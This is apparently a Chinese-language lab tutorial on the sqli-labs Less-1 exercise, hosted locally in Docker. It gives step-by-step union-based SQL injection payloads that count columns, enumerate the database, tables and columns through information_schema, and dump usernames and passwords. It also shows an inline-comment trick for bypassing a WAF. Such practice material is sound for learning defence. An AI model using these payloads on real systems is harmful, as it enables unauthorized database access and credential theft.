摘要 {#摘要}
本文主要介绍了如何使用sqli-labs的Less-1题目进行SQL注入攻击,包括判断是否存在注入、判断显错位、判断库名、版本号、判断表名、判断列名和判断数据等步骤。同时,还介绍了MySQL的相关知识点,如数据结构、用函数、注释等。在实验环节中,我们通过HackBar插件提交参数,使用union select联合查询,查询数据库中的表名、列名和数据,并且查询结果进行了美化处理。
前言 {#前言}
上节我们讲述了如何使用docker在kali系统中部署我们的sqli-labs靶场,没有部署的可参考如何使用docker在kali中搭建sqli-labs靶场这篇教程,至于为什么不在windows搭建是因为个人原因,个人不喜欢真机部署。不过教程都是一样的操作,本节给大家讲解一下Less-1一些操作知识。
mysql注入有关知识点 {#mysql注入有关知识点}
-
MySQL 5.X数据结构 在Mysql 5.0以上的版本中,为了方便管理,默认定义information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。 在tables表中,table_schema和table_name分别用来存储数据库名和表名。 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
-
SQL的增删改查 SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2' INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,...) UPDATE 表名称 SET 列名称a = 新值 WHERE 列名称 = 某值 DELETE FROM 表名称 WHERE 列名称 = 值
-
MySQL常用函数 user():查看当前Mysql登录用户名 database():查看当前使用Mysql数据库名 version():查看当前Mysql版本 拓展limit关键字 limit m,n 从m行开始,到m+n行。
-
注释 注释符:在Mysql 中常见的注释符表达式:#或--空格或 /** / 内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF 例如:select * from articles where id = id 使用内联注释注入:select * from articles where id = -1 /!union/ /!select/ 1,2,3,4
实验环节 {#实验环节}
前期准备 {#前期准备}
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-1地址
由于注入方式的不同,提交参数的方式也不同,get方式可以直接在地址栏添加,而post方式则需要通过工具提交。这里给大家分享老版本未收费的Hackbar插件,地址如下,文末给大家放了蓝奏云链接
实验开始 {#实验开始}
在ip地址后输入/Less-1,进入sqli-labs第一关
根据页面提示Please input the ID as parameter with numeric value(请输入 ID 作为带有数值的参数),按F12进入开发者模式,选择HackBar插件,根据提示在后面分别加上id=1,id=2如下图显示
id=1 id=2
我们发现不同id数值返回的数据也是不同的,由此我们可以看出我们输入的内容是代入到数据库查询了
判断是否存在注入 {#判断是否存在注入}
?id=1' and 1=1 -- xz #这里的单引号查看是否单引号闭合,后面用-- 去注释,-- 后随便跟什么
and 1=1没有什么问题
试试and 1=2,发现一个很明显的报错
说明当前很可能存在sql注入,使用order by寻找当前的字段数
http://192.168.199.129/Less-1/?id=1'order by 1 and 1=2 -- xz #order by 1没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 2 and 1=2 -- xz #order by 2也没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 3 and 1=2 -- xz #order by 3没有任何问题
http://192.168.199.129/Less-1/?id=1'order by 4 and 1=2 -- xz #order by 4发现如下图报错,3正常,4异常说明当前存在3个字段
判断我们显错位 {#判断我们显错位}
http://192.168.199.129/Less-1?id=1'union select 1,2,3 -- xz #使用union select联合查询,发现页面无任何变化,原因是我们前面的id=1查询结果显示在前面,只有前面查询不到才会显示后面查询结果,所以把id数值改一下
http://192.168.199.129/Less-1?id=-1'union select 1,2,3 -- xz #这里的2和3代表的就是我们显错位的意思
id=1 id=-1
判断库名 {#判断库名}
把查询数值2改成database()
http://192.168.199.129/Less-1?id=-1'union select 1,database(),version() -- xz
#database()查询库名,version()查询版本号
判断表名 {#判断表名}
http://192.168.199.129/Less-1?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz
#information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有security,不过group_concat()这种函数语法查询可能有时候会遇到问题,推荐大家用下面limit 逐个查询,该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1-- xz
#limit 1,1查询第二位,得出referers
http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1-- xz
#limit 2,1查询第二位,得出uagents
http://192.168.199.129/Less-1?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1-- xz
#limit 3,1查询第二位,得出users
#至于limit 4,1查询不到任何数据,所以最后得出以上表名
判断列名 {#判断列名}
http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz
#查询users表名中的列名
判断数据 {#判断数据}
http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(username),group_concat(password) from users -- xz
为了格式好看点可以参考以下方法
http://192.168.199.129/Less-1?id=-1'union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users -- xz
#其中运用到了Ascii码的转化,具体可自行搜索百度百科